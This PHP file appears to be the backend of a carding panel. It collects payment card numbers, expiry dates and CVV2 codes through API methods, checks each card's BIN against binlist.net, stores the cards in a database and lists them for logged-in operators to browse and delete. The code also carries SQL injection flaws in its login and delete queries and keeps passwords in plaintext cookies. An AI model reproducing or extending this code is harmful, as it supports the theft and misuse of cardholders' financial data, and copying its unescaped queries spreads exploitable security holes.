<?php
if(!defined('__PORNO__MALOLETKI__')){
header("Location: /");
exit;
}
define('PATH', str_replace('\\', '/', getcwd()).'/');
define('SMARTY_DIR', PATH.'Smarty/');
require_once SMARTY_DIR.'Smarty.class.php';
class Engine {
protected $mysqli, $ini, $smarty;
public function __construct() {
$this->smarty = new Smarty();
$this->smarty->setTemplateDir(PATH.'template');
$this->smarty->setCompileDir(PATH.'template/compile');
$this->smarty->setCacheDir(PATH.'template/cache');
$this->ini = parse_ini_file('settings.ini', true);
$this->mysqli = new mysqli($this->ini['MySQL']['host'], $this->ini['MySQL']['user'], $this->ini['MySQL']['password'], $this->ini['MySQL']['db']);
}
public function showPorevo() {
if(!$this->check()) {
if($_SERVER['REQUEST_METHOD'] == 'POST')
if($this->auth($_POST['id'], $_POST['password'])){
setcookie('id', $_POST['id'], time() + 30 * 24 * 60 * 60);
setcookie('password', $_POST['password'], time() + 30 * 24 * 60 * 60);
header('Location: /porevo/');
exit;
}
$this->smarty->assign('image', rand(1,5));
$this->smarty->display('porevo.tpl');
} else {
if(isset($_GET['del']) && intval($_GET['del']) > 0)
$this->mysqli->query("DELETE FROM cards WHERE id = '$_GET[del]'");
$sql = $this->mysqli->query("SELECT * FROM cards ORDER BY id DESC");
$arr = array();
$i = 0;
while($row = $sql->fetch_assoc()) {
$q = json_decode($row['data'], true);
$arr[$i] = $row;
$arr[$i]['cn'] = $q['country_code'];
$arr[$i]['bank'] = $q['bank'];
$arr[$i]['b'] = $q['brand'];
$i++;
}
$this->smarty->assign('cards', $arr);
$this->smarty->display('porevo_home.tpl');
}
}
public function auth($id, $password) {
return (boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM users WHERE id='".$id."' AND password='".$this->mysqli->escape_string($password)."'")->fetch_assoc());
}
protected function getUID() {
return intval(@$_GET['id']);
}
protected function check() {
if(isset($_COOKIE['id']) && isset($_COOKIE['password']) && !empty($_COOKIE['id']) && !empty($_COOKIE['password']))
return $this->auth($_COOKIE['id'], $_COOKIE['password']);
return $this->auth($this->getUID(), @$_GET['password']);
}
protected function checkExpire($expire) {
return intval(substr($expire, 2)) < intval(date('y')) || (intval(substr($expire, 2)) >= intval(date('y')) && intval(substr($expire, 0, 2)) < intval(date('m'))) ? false : true;
}
public function addCard($number) {
if($this->checkCard($number)) {
$this->mysqli->query("INSERT INTO cards (number, data) VALUES ('".$this->mysqli->escape_string($number)."', '".$this->mysqli->escape_string($this->getBinData(substr($number, 0, 6)))."')");
$this->apiEcho(array('status' => 'success'));
}else
$this->apiEcho(array('status' => 'error'));
}
public function addExpire($card, $expire) {
if((boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM cards WHERE number='".$this->mysqli->escape_string($card)."'")->fetch_assoc())) {
if($this->checkExpire($expire))
$this->mysqli->query("UPDATE cards SET expire='".$this->mysqli->escape_string($expire)."' WHERE number='".$this->mysqli->escape_string($card)."'");
else
$this->apiEcho(array('status' => 'error_expire'));
$this->apiEcho(array('status' => 'success'));
} else
$this->apiEcho(array('status' => 'error'));
}
public function addCVV2($card, $cvv2) {
if((boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM cards WHERE number='".$this->mysqli->escape_string($card)."'")->fetch_assoc())) {
$this->mysqli->query("UPDATE cards SET cvv2='".$this->mysqli->escape_string($cvv2)."' WHERE number='".$this->mysqli->escape_string($card)."'");
$this->apiEcho(array('status' => 'success'));
} else
$this->apiEcho(array('status' => 'error'));
}
public function apiEcho($arr) {
die(json_encode($arr));
}
protected function checkCard($number) {
return !preg_match('/not found/', $this->getBinData(substr($number, 0, 6)));
}
protected function getBinData($bin) {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => 'http://www.binlist.net/json/'.intval($bin)
));
return curl_exec($ch);
}
}